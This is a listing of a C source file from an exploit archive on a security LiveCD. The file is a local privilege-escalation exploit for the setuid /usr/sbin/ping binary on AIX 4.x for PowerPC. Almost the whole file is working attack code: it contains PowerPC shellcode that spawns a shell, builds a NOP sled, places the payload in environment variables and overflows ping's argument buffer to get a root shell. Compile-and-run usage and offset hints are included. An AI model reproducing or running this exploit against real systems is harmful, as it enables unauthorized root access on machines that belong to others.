home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / ping.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  103 lines

  1. /*
  2.  *
  3.  *   /usr/sbin/ping exploit (kinda' coded) by BeastMaster V    
  4.  * 
  5.  *   CREDITS: this is simpy a modified version of an exploit
  6.  *   posted by Georgi Guninski (guninski@hotmail.com)
  7.  *
  8.  *   This will give a #rootshell# by overwriting a buffer
  9.  *   in /usr/sbin/ping while ping is setuid to root.
  10.  *   This exploit is designed for AIX 4.x on PPC platform.    
  11.  *
  12.  *
  13.  *   USAGE: 
  14.  *            $ cc -o foo -g aix_ping.c
  15.  *            $ ./foo 5300
  16.  *            #
  17.  *
  18.  *      
  19.  *   HINT: Try giving ranges from 5090 through 5500
  20.  *
  21.  *   DISCLAIMER: use this program in a responsible manner.
  22.  *
  23.  *
  24.  */
  25.  
  26. #include <stdio.h>
  27. #include <stdlib.h>
  28. #include <string.h>
  29.  
  30. extern int execv();
  31.  
  32. #define MAXBUF 600
  33.  
  34. unsigned int code[]={
  35.   0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  36.   0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  37.   0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  38.   0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  39.   0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  40.   0x7c0903a6 , 0x4e800420, 0x0
  41. };
  42.  
  43. char *createvar(char *name,char *value)
  44. {
  45.   char *c;
  46.   int l;
  47.  
  48.   l=strlen(name)+strlen(value)+4;
  49.   if (! (c=malloc(l)))
  50.     {
  51.       perror("error allocating");
  52.       exit(2);
  53.     };
  54.   strcpy(c,name);
  55.   strcat(c,"=");
  56.   strcat(c,value);
  57.   putenv(c);
  58.   return c;
  59. }
  60.  
  61. main(int argc,char **argv,char **env)
  62. {
  63.   unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
  64.   int min=100, max=280;
  65.   unsigned int return_address;
  66.   char *newenv[8];
  67.   char *args[4];
  68.   int offset=5300;
  69.  
  70.   if (argc==2) offset = atoi(argv[1]);
  71.  
  72.   pt=(unsigned *) &execv;
  73.   toc=*(pt+1);
  74.   eco=*pt;
  75.  
  76.   *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
  77.   *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  78.   *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
  79.   *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);
  80.  
  81.   return_address=(unsigned)&buf[0]+offset;
  82.  
  83.   for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
  84.   strcpy((char*)&buf[nop],(char*)&code);
  85.   i=nop+strlen( (char*) &code)/4-1;
  86.  
  87.   for(i=0;i<max-1;i++) frame[i]=return_address;
  88.   frame[i]=0;
  89.  
  90.   newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  91.   newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  92.   newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  93.   newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  94.   newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  95.   newenv[5]=NULL;
  96.  
  97.   args[0]="ping";
  98.   args[1]=(char*)&frame[0];
  99.   execve("/usr/sbin/ping",args,newenv);
  100.   perror("Error executing execve \n");
  101.  
  102. }
  103. /*                    www.hack.co.za              [2000]*/